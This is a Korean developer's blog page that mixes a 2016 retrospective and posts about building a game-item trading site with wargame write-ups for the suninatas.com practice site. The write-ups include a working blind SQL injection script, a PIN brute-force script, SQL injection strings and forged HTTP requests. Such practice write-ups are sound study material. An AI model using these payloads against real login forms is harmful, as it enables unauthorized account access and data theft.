늘모자란, 개발

늘모자란, 개발


2016년

Gossip 2016/12/26 20:25
이번엔 좀 이르게 써보는 지난날의 되새김질. 2016년도 이제 며칠남지 않았다.
써가며 느낀건데 나는 나를 뭘 이렇게 많이 믿는다고 적어놨는지 손이 오글 거릴정도다

2016년 회고


졸업과 논문

좋든 싫든 반년뒤 학교를 떠난다. 벌써 2년인가 싶은데 시간이 참 빠르다는 생각이 스쳐지나간다. 세미나를 준비하면서 밤을 새고 핫식스도 자기 최면 건다고 하루에 서너캔씩 먹던 날도 있었는데, 벌써 연구실의 최고 선배(박사를 제외하고)가 되고 연구실을 떠날날을 손꼽아 세어야 되는걸 보니 기쁘기도하고 벌써 두렵기도 하다. 하지만, 나는 나를 믿는다

2016년의 빅 이벤트라고 하면 역시 졸업이다. 그렇다. 나는 졸업했다.
졸업논문 같지도 않은 논문을 써냈긴했지만, 어쨌든 꽤나 열심히 살았다. 아니, 정확히는 나름 열심히 살았다.

개발

C를 공부할 생각이다. 아울러 c#까지.
나는 웹을 계속 공부하고 싶지만, 넥슨과 NC등 모집요강을 보면 여전히 C 개발자를 모집하고 있고, 선택하고 있다.
C는 언어중 가장 기본이 되는 언어이며, 앞으로도 가장 중요한 언어라고 생각한다. 그래서 조금 뜬금없지만, C를 다시 공부하려고 한다. 최종적으로는 프로그램을 개발해 서비스해보는것이 목표이다.
2016년의 목표라면 C와 C#을 하겠다고 했는데 진짜 그런 회사에 취업했다.
안철수연구소, 카카오, 네이버, 네오위즈 등.. 큼직큼직한 기업에 지원을 많이 했는데 전부 떨어졌다. 그것도 1차 서류에선 다 붙고! 기초 체력이 부족한 탓이라고 생각한다. c와 c# 공부는 진행형인데.. (2016년의 공부는 거의 망했다. 안했다.) 이론 책을 많이 읽는건 별반 도움이 되지 않는 것 같다. 왜냐면 이론에서 백날 설명해봐야 실전에서 쓰는 야매(..) 기법과, 구현하는건 어떻게 글이나 말로 설명할 수가 없다. 때문에 2017년에는 오픈소스나, 실제 개발을 많이 해보는게 목표다.

그리고, 싴갤러스에는 반드시 ES를 도입하려고 한다. ES의 존재에 의구심을 가졌는데 그냥 한번 써볼 생각이다. 그리고, 리액트나 앵귤러의 2way binding은 내게 있어 그렇게 나쁜 생각은 아닌것 같다. 큰 웹서비스하나를 더 만들어보고 싶다. 가능할까..

ps. 싴갤러스 웹 서버 커밋은 총 364회 이뤄졌다. 너무 자잘한것도 커밋이라고 말하긴 좀 부끄럽지만.. 거의 하루에 한번정도는 커밋한꼴이 되었다. (몰아서 할때가 많았다만)

건강

최근 술만 먹으면 헛구역질도 하고 좀 상태가 이상하다. 생체리듬은 27세에 깨진다는 말이 있는데, 각별히 조심하고 내년엔 폭식하는 습관을 고쳐보고자 한다. 잘 될지는 모르겠지만, 2015년 말에 시작한 도시락 업체로부터 도시락 받아먹는걸로 시작(... 하지만 잘 지켜지진않는다...ㅠㅠ)
전혀! 전혀 못고쳤다.
오히려 헛구역질은 이제 멀쩡한 상태에 있어도 하는 습관성으로 발전한 느낌이다. 도시락은 개뿔.. 회사를 다니면서 1끼식사를 하고 있는데 아침에 일어날때마다 온몸이 퉁퉁 붓는 느낌이 들어 좀 기분이 구릴때가 있다.

뻘짓

워게임에 시간을 꽤 많이 들였다. 두군데 워게임도 하고 생전 안해본 리버싱도 해보겠다고 까불었다. 결과는? 생각보다 도움이 되었고 재밌었던 시간이다. 온전히 내 지식으로 풀이했다면 좋았겠지만, 다 알겠는데 요만큼의 힌트가 필요한데.. 하면서 좀 컨닝을 했지 아마? 2017년에는 못풀었던 문제를 마저 풀어볼 생각이다.

2017년

이 순간이 제일 싫다. 앞으로 내가 살아가야할 지침을 내가 정해야 된다는것..?
지금 나는 이제 귀속된 몸이다. 뭔가를 자유롭게 하겠다는 생각을 하기엔 좀 섣부른 감이 있다. 내 작은 계획들은,

1. 블로그를 좀 해볼까 한다. 개발 블로그를 지향한다면 당연히 개발을 해야 한다.
2. 일상이 챗바퀴처럼 돌게 냅두지 않겠다. 나는 탈선을 꿈꾼다!
3. 건강.. 건강을 꼭 보살피겠다. 나를 사랑하자.....
2016/12/26 20:25 2016/12/26 20:25


싴갤러스 - 하나의 기능 리뉴얼을 준비하며 (1) 로부터 이어집니다


게임 아이템 거래에 대한 개념을 짚어볼 필요가 있었습니다.

1. 게시판
대부분의 거래사이트에서는 게시판 레이아웃을 채택하고 있습니다.
왜냐면, 구축이 쉽고 빠르기 때문입니다. 게시글이란것은 글 내용을 눌러보기 전까지 내용을 알 수없습니다. 검색을 하지 않는다면요.
게시판 레이아웃으로 구성되어 있는 홈페이지를 사용하는 유저들은 다음과 같은 흐름대로 움직입니다.

1. 게시판 접속
2. 서버 게시판 클릭
3. 제목을 하나씩 보며 페이지를 넘기다가 클릭
3-1. 검색을 통해 원하는 내용을 검색후 제목을 클릭

유저는 어떨때 글을 클릭하는것일까요? 저는 그것이 바로 제목이 가지는 힘이라고 생각했습니다.
예를 들어 다음과 같은 제목들을 말합니다.

'여러 의장 아이템 팝니다.','의장아이템 많이 팝니다.', '싸게 처분합니다' 등으로 흥미를 유발하는것이죠.
실제 필요하지 않은 아이템이라고해도 눌러보거나, 어떤 아이템이 있나 보거나... 이 케이스로 인해 발생하는 경우는 '뜬금없이 싸거나, 원하는 옵션보다 쌌을때'와 같이 조금 특별한 경우에만 해당합니다.

2. 정보 소모 속도가 빠르다
그냥 글을 다 읽어보는 부류도 있습니다. (괜찮으면 구매해볼까~ 같은 마인드). 비슷하게도, 역시 별로 좋아보이지 않는 아이템은 휙휙 넘기기때문에 정보의 소모가 매우 빠르게 이루어진다고 할 수 있습니다. 하지만, 게시판 레이아웃대로 구성시 제목을 보고, 클릭하고, 맘에 드는 아이템이 없으면 다시 뒤로가기를 통해 목록을 조회해야하므로 최소 2번의 리프레쉬가 일어납니다.

그래서 모티브를 '한눈에 볼 수 있고, 최소한의 새로고침'으로 잡고 닿은 결론이 METRO UI였습니다.
METRO UI는 사각형들이 다닥다닥 달라붙어 잇는 형태인데, 이를 응용해 갤러리 형태로 만들면 시야에 들어오는 글은 오히려 게시판 보다 더 많지 않을까라는 생각을 하게되었습니다. 또한 작성하는 아이템을 무조건 한개만 작성하게 강제한다면, 오히려 가독성면에서 더 좋지 않을까요?



이런 형태이고, 네이버 게시글이 16개정도가 한페이지인것을 고려하면, 비슷한 내용으로 한페이지를 사용한다 할 수 있습니다.


요렇게만 나열되면 좋겠지만, 다음 그림과 같이 무작위아이템들이 올라올 경우 산만해질 수 있다는 의견이 있었고


무작위로 나열될때 격자가 아닌 이상한 형태의 모양이 만들어져 오히려 글자를 읽는게 불편한 느낌이 들었습니다. 결국 이를 보완하기 위해 여러 안을 내야 했습니다.

고민하던 와중에, 이 글을 보게 되었는데, 핀터레스트에서 사용하고 있는 카드형식의 UI를 사용하면 어떨까 했습니다.
역시 기본 아이디어는 비슷하지만, 개체 하나하나마다 변별력을 주자는것이 핵심 아이디어였습니다.

Masonry를 사용할수도 있었지만, 원하는 모양대로 잘 안나오더군요.

그리고 무한히 나오는 결과물에 대해서도 테스트를 진행해봤으나, 제대로 정렬이 잘 되지 않았습니다.
네이버의 eg를 쓰는것은 처음엔 별로 내키지 않았지만(용량문제도 있지만, 어차피 jquery를 쓰니까...), 일단 적용해보기로 했는데 생각보다 결과물이 예쁘게 나왔습니다. 사용하기도 쉽고 (세팅에 많은 시간을 필요로 하지 않음)......


뼈대밖에 없긴한데, 이만하면 원하는대로 모습이었습니다..
적용을 하면 다음 모양처럼 나옵니다. 다만 갤러리형태에 적합했기때문에 모양새가 조금은 마음에 안들었습니다. 정확히 responsive 되는것도 아니었구요. 조금 아쉬운 상황이었습니다.




여기까지 준비를 했는데!
본격적으로 일을 시작하려니 참 아쉽게 되었습니다. 

2017년 5월 22일부로 가판대 기능을 닫았습니다.

가판대 기능을 살려보기 위해 앱도 만들고, 푸시서비스도 넣고 쪽지도 만들고 이것저것 했었는데 결말이 좀 안타깝지만, 적법하지 않은 기능이라는 민원 처리 결과입니다.

보건복지부의 고시"보건복지가족부 고시 제2009-24호"에 따르면 게임아이템 거래 중개 사이트는 게임 거래를 알선하는 모든 사이트를 청소년 유해물로 규정하고 있습니다. 옛날 옛적 네이버 카페들이 문닫았던 이유인데요.

청소년들이 게임내 재화를 얻거나 팔기 위해서 많은 시간을 투자해야된다는 개념이 들어가는 이상, 현금 거래이던 아니던 적법하지 않다고 합니다. 위반하면 형사처벌이고요. 본인인증을 도입한다고 하더라도 광고 수입이 그정도도 없고, 접근성도 네이버 카페보다 뛰어날것이라고 생각하지 않습니다.

가판대 기능은 꽤 오래 유지가 되었었는데 (사용량은 아주 없었지만), 여태 신고 안당한걸 천운으로 생각해야될것 같습니다 -_-;

원래 처음 싴갤러스를 시작할때는 법령을 고려해본적이 한번도 없는데, 주변에서 쓰러져가고 고소같은거도 정보를 제공하면서 이제 단순히 의지만으로 현실을 관철할 수 없지 않게 되었나 생각합니다. 많은 아쉬움이 따르지만, 그간 준비했던 기능들은 다른 곳에  쓰일 수 있길 바랍니다. 뭐 이번에 대통령도 바뀌었는데 다시 진행하게 될 수 도 있죠. see you later!
2016/09/26 08:06 2016/09/26 08:06
사실 별로 중요한 내용은 아니다. 내용에 문제가 생기는것도 아니고..

나에게는 private repo가 있는데, 어느순간에 contribution graph 실적에 추가가 안되고 있다는걸 알았다.
public repo에 공헌했을때만 체크되는줄알았는데 옵션에 따라 설정할 수 있었다. 그런데 문제는, 실제 commit이 되었는데 어느 누구에게도 공헌이력이 남지 않았다는 것이었다.



수많은 commit이 있는데, 심지어는 거의 매일 커밋을 했는데!
그래프는 투명했던것이다. fantazm 저기로 들어가봐도 commit 이력이 없었다. 이상하게 여긴 나는 콜라보레이터를 살펴봤지만



없다...
애초에 콜라보레이터로 등록도 되지 않은 사용자가 커밋을 하고 있는 진풍경인것이다. 이상하게 여겨 github에 메일을 보내봤으나...
Hi,Sorry to hear you're having trouble. Can you verify that you have the correct email address set in your .gitconfig? You can check this in GitHub Desktop by going to the Options menu. The email address there needs to match the email address under your GitHub account in order for the commits to be properly attributed.

You can read more about this here:https://help.github.com/articles/why-are-my-commits-linked-to-the-wrong-user

Let me know if you have any other questions.

Cheers,
Steve

그러니까 그냥 github desktop 설정 문제라고 한다



메일을 받고 지금은 수정했지만, 처음엔 configure git에 fantazm이라는 아이디를 입력해놨었고,
저렇게 하면 콜라보레이터로 등록되지 않았더라도 내 원 아이디에 로그인되어있기때문에 commit을 할 수 있다는 이야기로 해석된다.
사실 공헌도 그래프에 목매고 싶지는 않지만.. 좀.. 이상하지 않나? 왜 저런 상황을 예외로 빼놨는지 모르겠다. commit이 안되야 정상아닌가? 아무권한도 없는데 저 아이디는?!
2016/09/20 14:53 2016/09/20 14:53

시작하며


사이트를 만들고 서비스하면 잘 쓰이는 기능도 있는반면, 잘 쓰이지 않는 기능도 존재하는 법입니다.
가판대는 싴갤러스 가장 초기에 만들어진 기능중 하나였으나 사장된(...) 기능입니다.


꽤 손을 많이 탄 기능이고 애착이 있기때문에, 어떻게든 활성화 시킬 수 없을까 하고 여러 고민을 해보게 되었습니다.
(사실, 네이버 카페보다 훨씬 편하다고 생각했기 때문입니다.)

그래서 예전처럼 마구자비로 개발하기보단 생각과 고민을 충분히 해보기로 했습니다.

문제분석과 시도

1. 이름

처음엔 '브라우니' 라는 이름의 메뉴-개인상점 브라우니에서 착안-였으나 사용자들이 어떤 기능인지 잘 모를것 같다는 생각을 반영해, '싴갤러스 가판대'로 이름을 변경했습니다.

2. 편의
처음엔 스크린샷을 넣을 수 없었습니다. 당연히 글로 모든걸 설명해야했습니다. 이는 의도된것으로 스크린샷 한장만 올리는게 아니고, 옵션을 모두 치게 하면 검색이 더 잘될것이라 판단한것입니다만.. 세상에 누가 내구에 색상같은걸 다 치고 있을까요..
그래서 스크린샷을 넣을 수 있도록 개선하였습니다. 또한, 마우스클릭만으로도 쉽게 금액을 추가할 수 있도록 했습니다. 은행앱에서 착안을 해봤습니다

강점 / 약점 분석

당연하지만, 위 두가지를 개선(?) 한다고 해서 당장 효과를 볼 것이라고 생각하지 않았습니다.
롤 모델을 정해 분석해보기로 했고, 당연히 가장 활성화된 마거카를 대상으로 하였습니다.



0. 인증된 사용자(강점)
네이버 카페는 가입절차가 복잡하지 않아 자유롭게 가입할 수 있습니다. 하지만, 해당 캐릭터가 실존하는지, 아이디를 돌려가며 장난을 치는지 알 수 없습니다.
싴갤러스는 특수한 경우(프록시 등)를 제외하면 부계정 사용시 특별조등 기능 사용에 지장이 오기때문에, 인증된 사용자만이 서비스를 이용하고 있다고 할 수 있습니다. 가입의 편의성보단 아무래도 이쪽에 무게가 실릴것 같았습니다.

1. 연락망(약점)

네이버 카페에는 댓글 및 쪽지가 존재하며 타 기기를 이용하는데 제약이 없어 PC에 한정되지 않아 수월하게 대상과 거래를 진행할 수 있습니다.
하지만, 싴갤러스는 인게임 캐릭터에게 쪽지를 보내는 기능이 존재하나 일방적인 기능이어서, 수월한 대화를 진행하기는 어렵습니다.
따라서, 기능에 대한 보완을 하기 위해 신규개발이 필요하다 생각했습니다.

- 사이트 자체 쪽지 기능 개발
- 어플리케이션을 이용한 Push(쪽지 연동)

2. 레이아웃(약점)

네이버 카페는 기본적으로 게시판입니다. 싴갤러스 가판대는 하나의 아이템을 하나의 글로 등록하는 방식을 취할것이기때문에 많은 데이터가 올라올 수 있고, 오히려 가독성을 저하시키는 효과를 가져올 수 있습니다. 아울러 모바일 레이아웃까지 동시에 생각해야했기 때문에 많은 고민이 있었습니다.

3. 기능(강점)

네이버 카페는 위지윅에디터를 이용한 자유로운 글 편집이 가능합니다.

하지만 그외 실제 게임에 도움이 되는 기능은 존재하지 않습니다.
예를 들면, 지정염색앰플을 판매한다 가정하면, 지염 색상을 싴갤러스에서 검색 후, 스크린샷을 찍어 올려 거래하고 있음을 확인했습니다.
계속해서 말하자면, 유저는 결국 '용지염 다수' 라는 글 제목으로 글을 쓸 수밖에 없고, 구매자는 클릭 후 자신이 원하는 색상을 찾은 후에 없으면 성과없이 뒤로 돌아가는 불필요한 과정이 존재합니다.

따라서, 보는 유저나 쓰는 유저 둘다 편하며, 정확한 아이템 이름 및 표기해줄 수 있도록 하는것을 강점으로 하면 될 것 같았습니다.
그래서, 다음 개발이 필요시 되었습니다.

- 유저 오타 교정(데이터 분석을 기반)
- 아이템 이미지 삽입 기능
- 다수의 아이템을 편하고 빠르게 등록
- 아이템별 카테고리화 (카테고리별 검색 및 목록 필터)

강점 및 약점 분석을 다 마친것 같으니 개발하면서 디테일을 설정하기로 했습니다.

개발진행

연락망

레이아웃을 만들때 했던 고민을 또 해야 했습니다.
추가 개발이지만, 결국 독립적으로 사용될 수 있는 기능을 만드는것이기때문에 필요한 사항을 정리해봤습니다.

- 발신함 / 수신함
- 쪽지 발송
- 삭제/신고/차단/보관
- 전달(?)

쪽지란것은 그냥 핑-퐁만 하면 되어서 구현에 어려움을 겪진않았습니다.
다만 악성유저에 대한 처리를 할 수 있도록 고려해야했습니다. 하지만 가판대를 위한 개발이었으므로, 우선사항에서 미뤘습니다.
왜냐면 단순히 차단이나 신고로 끝나는게 아니라, 관리자가 신고를 접수해 처리할 수 있는 기능을 추가로 개발해야되기때문입니다.
그 결과 다음과 같이 개발했습니다.


실제 사용자가 접속중일때 신규 쪽지가 왔다고 알려줘야되므로, 다음과 같이 3단계에 거친 작업이 필요했습니다.
웹서버 - 세션 - 푸시서버
세션을 따로 관리하고 있기때문에 세션을 얻고, 개인푸시를 진행하게 함으로서 웹소켓을 이용한 푸시를 구현하였습니다.
(추가로, 브라우저를 이용한 web push도 지원할 계획입니다. https에서만 가능해서 현재는 진행을 하지 못하고 있지만 ;D)

여기까지만 만들어놓고 즉시 앱 프로젝트를 진행했습니다.

앱 프로젝트는 Sparrow(참새) - 지저귀다 뭐 이런의미로 시작했습니다. (처음엔 그냥 직박구리로 하자고 했다가..)
개발은 iOS부터 했고, 이후에 Android를 개발했습니다. (9월 11일 출시했습니다)

이 과정은 YOKO.SO 프로젝트를 담당하셨던 라제폰님께서 전담해주셨습니다.
(다운로드는 플레이스토어나, 앱스토어에서 '싴갤러스'를 검색해 받으실 수 있습니다)



앱은 정말 쉬울 줄 알았습니다만 그렇게 생각하다가 큰 코다쳤습니다. 간단한 웹뷰앱이었는데도 공수가 많이 들었습니다.
대표적으로, 앱에서 로그인을 매번하게 할 수는 없었습니다. 저 같아도 그럼 안쓸거같아요.

싴갤러스에서는 따로 자동로그인을 지원하지 않았는데 앱을 위해서라도 로그인을 유지하는 기능이 필요하다고 생각하게 되었습니다.
자동로그인 기능은 결국 클라이언트에 정보를 남기는것이기때문에 보안상 문제가 생길 수 밖에 없고, 최대한 '덜 취약한' 형태로 구현하는것이 목적이었습니다.

실제 plaintext를 알고있다고해도, 어떤 방법으로 토큰이 생성되는지,
무작위 대입공격으로 유추할 수 없을정도로 긴 길이의 토큰을 생성해야하는 생각을 하면서 작업했습니다.
그리고 만약의 경우, 토큰을 복호화할 수 있는지 없는지에 대한 방법도 고민해보고.. 최대한 secure하게 작업하고 싶었습니다.
(물론 해쉬기때문에 쓸데없는 고민입니다)

몇차례 시행착오를 거쳐 자동로그인을 도입했습니다.



이 후, 앱을 위한 사이트 전체 CSS 수정이 있었고(대부분 모바일), 여전히 진행중입니다.
또한 푸시를 위한 디자인도 해야했는데 어떻게 하다보니 된것 같습니다 (대책 없는 설명이지만 정말 어쩌다보니 푸시를 순조롭게 넘은것 같습니다. 오픈소스의 위력을 다시한번 느끼기도 했습니다.)

어떻게 뚝딱 해치운 것 같지만, 아직 넘어야할 산이 두개나 남아 있죠.
바로 본기능인 가판대가 남았습니다. 가판대는 아직 시작도 안했기때문에, 작업 후 후기(?)로 찾아뵙겠습니다.



싴갤러스 - 하나의 기능 리뉴얼을 준비하며 (2)로 이어집니다
2016/09/14 19:21 2016/09/14 19:21
폼이고, 하드필터링 되어 있다

select / Union / or / white space / by / having 
from / char / ascii / left / right / delay / 0x ..........


힌트도 주어지는데


<!-- Hint : guest / guest & Your goal is to find the admin's pw -->
<!-- M@de by 2theT0P -->



즉 guest를 이용하면 될것 같다

다음과 같이 쿼리를 작성해본다. (id칸에)

admin'-- a


pass칸엔 아무거나 적어도 된다. 그럼 친절하게도.. OK admin 하고 패스시켜준다. 이걸 이용해서 코드를 작성해보자

admin'and(len(pw)=10)-- a

하다보면 열자리란걸 알 수 있다. 이제 이걸로 블라인드를 걸어보자

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2
import time

headers = {'Host': 'suninatas.com',
           'Cookie': ''
        }

string = " abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$^&*()-_+="

for i in range(1,10):
    for j in range(len(string)):
        data = "?id="
        data = data + urllib.quote("admin'and(substring(pw,{},1)='{}')-- a".format(i, string[j]))
        data = data + "&pw=1"
         req = urllib2.Request("http://suninatas.com/Part_one/web22/web22.asp" + data, '', headers)
         response = urllib2.urlopen(req)
         res = response.read()

         if "OK" in res:
             print string[j]
             break
         time.sleep(0.1)
2016/09/08 16:42 2016/09/08 16:42
브루트포싱 문제이다.
admin계정은 0~9999의 비밀번호중 하나를 사용한다고 한다.

그냥.. 숫자를 막 넣어주기만 하면 되는거니 간단하게 짜보자

import urllib, urllib2

headers = {'Host': 'suninatas.com',
           'Cookie': ''
        }

for i in range(10000):

    data = "id=admin&pw={}".format(str(i).zfill(4))
    print data
    req = urllib2.Request("http://suninatas.com/Part_one/web08/web08.asp", data, headers)
    response = urllib2.urlopen(req)

    if "Incorrect" not in response.read():
        print response.read()
        break



돌리다보면 나온다...
2016/09/08 16:24 2016/09/08 16:24
진짜 짜증났던 문제중하나인데.......... 아직도 어떻게 풀었는지 잘 모르겠다 ㅋㅋㅋㅋㅋㅋ
들어가면 대문짝만한 연예인사진들이 올라와있는데, 화면 중간쯤에 YES버튼이 있다. YES를 누르면 느리다고 다시하라고 한다.
새로고침해보려고 F5를 누르면 NO라고 한다. 키보드로 새로고침하지말라는거같은데 뭐 그것만 방법이 있는건 아니니..

일단 정공법은 다음과 같다.

document.href="http://suninatas.com/Part_one/web07/web07.asp";
frm.submit();


페이지를 새로 갱신 시킨이후에, 바로 폼을 submit하라는건데 진짜 잘안된다. 짜증만 난다.
그래서 나는 그냥 툴을 이용하기로 했다.

fiddler를 이용해서 두개 패킷을 묶은이후에 같이 replay시키면 바로 패스할 수 있다 (....)
2016/09/08 15:55 2016/09/08 15:55
여태까지가 몸풀기였다면 이제야 좀 문제같은 문제가 나온다

게시판 하나가 나오는데 대놓고 readme라고 나온다. 누르면 팝업이 하나 생성되고 쿼리가 보인다

"select szPwd from T_Web13 where  nIdx = '3' and szPwd = '"&pwd&"'"


1=1는 차단되있으므로 값을 TRUE로 만들어주기위해 다음과 같이 질의한다
(MSSQL에선 -- 를 적어주기만하면 안되고 뒤에 뭐라도 하나 적어줘야 한다. MSSQL맞겠지?;;)

' or 5>1 -- a


인증키가 나온다. 근데 정작 글은 못읽는다. 이게 뭐야..
이동된 URL을 보자.

http://suninatas.com/Part_one/web06/view.asp?num=3&passcode=[]


뭔가 나와는 있는데 안된다 이럴땐 보통 쿠키에 뭘 해놨을가능성이 높아 확인해보니,
auth%F5key라는 친구가 보인다. 당연히, 그대로 넣으면 안된다. 놀랍게도 게시판에 힌트가 있는데, 레퍼런스에 들어가면 md5로 인코딩하라고 친절히(...) 안내를 해준다

md5을 설정하고 들어가면 드디어 게시글을 읽을 수 있게 되는데 답은 안나와있다. 소스보기를 하면 폼 이름에 뭔가 있으니 그걸 이용해서 auth하면된다.
2016/09/08 15:42 2016/09/08 15:42
Check key value라고 적혀있고 아무것도 없는 폼이 하나 맞이해준다.

                        <script>
                            eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('g l=m o(\'0\',\'1\',\'2\',\'3\',\'4\',\'5\',\'6\',\'7\',\'8\',\'9\',\'a\',\'b\',\'c\',\'d\',\'e\',\'f\');p q(n){g h=\'\';g j=r;s(g i=t;i>0;){i-=4;g k=(n>>i)&u;v(!j||k!=0){j=w;h+=l[k]}}x(h==\'\'?\'0\':h)}',34,34,'||||||||||||||||var|result||start|digit|digitArray|new||Array|function|PASS|true|for|32|0xf|if|false|return'.split('|'),0,{}))        
                        </script>

<!--Hint : 12342046413275659 -->
<!-- M@de by 2theT0P -->


위와같이 난독화된 코드가 있는데 아무래도 핵심인듯 보인다.

deobfuscator 를 통해 스크립트를 살려내보자

var digitArray = new Array('0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f');

function PASS(n) {
  var result = '';
  var start = true;
  for (var i = 32; i > 0;) {
    i -= 4;
    var digit = (n >> i) & 0xf;
    if (!start || digit != 0) {
      start = false;
      result += digitArray[digit]
    }
  }
  return (result == '' ? '0' : result)
}


위에 힌트도 있겠다, 함수에 값을 넣어 돌려보자. 문자열이 하나 나오는데 넣으면 Auth key가 나온다.
2016/09/08 15:33 2016/09/08 15:33
UA를 조작하는 문제이다. 들어가면 나의 UA가 나와있는데, 소스에 힌트가 나와 있다.

<!-- Hint : Make your point to 50 & 'SuNiNaTaS' -->
<!-- M@de by 2theT0P -->


그럼 UA를 조작해보자.

POST http://suninatas.com/Part_one/web04/web04_ck.asp HTTP/1.1
Host: suninatas.com
Connection: keep-alive
Content-Length: 7
Cache-Control: max-age=0
Origin: http://suninatas.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://suninatas.com/Part_one/web04/web04.asp
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: 

total=1


폼을 보내면 web04_ck.asp를 거치게 된다는걸 볼 수 있다. 골떄리는건 1씩오르질않는다. 50번 보내주자(-_-)
그 이후에 SuNiNaTaS로 UA를 바꿔서 질의한후 web04로 돌아가보자

POST http://suninatas.com/Part_one/web04/web04_ck.asp HTTP/1.1
Host: suninatas.com
Connection: keep-alive
Content-Length: 8
Cache-Control: max-age=0
Origin: http://suninatas.com
User-Agent: SuNiNaTaS
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://suninatas.com/Part_one/web04/web04.asp
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: 

total=1


그러면 Auth key가 등장한다.
2016/09/08 15:24 2016/09/08 15:24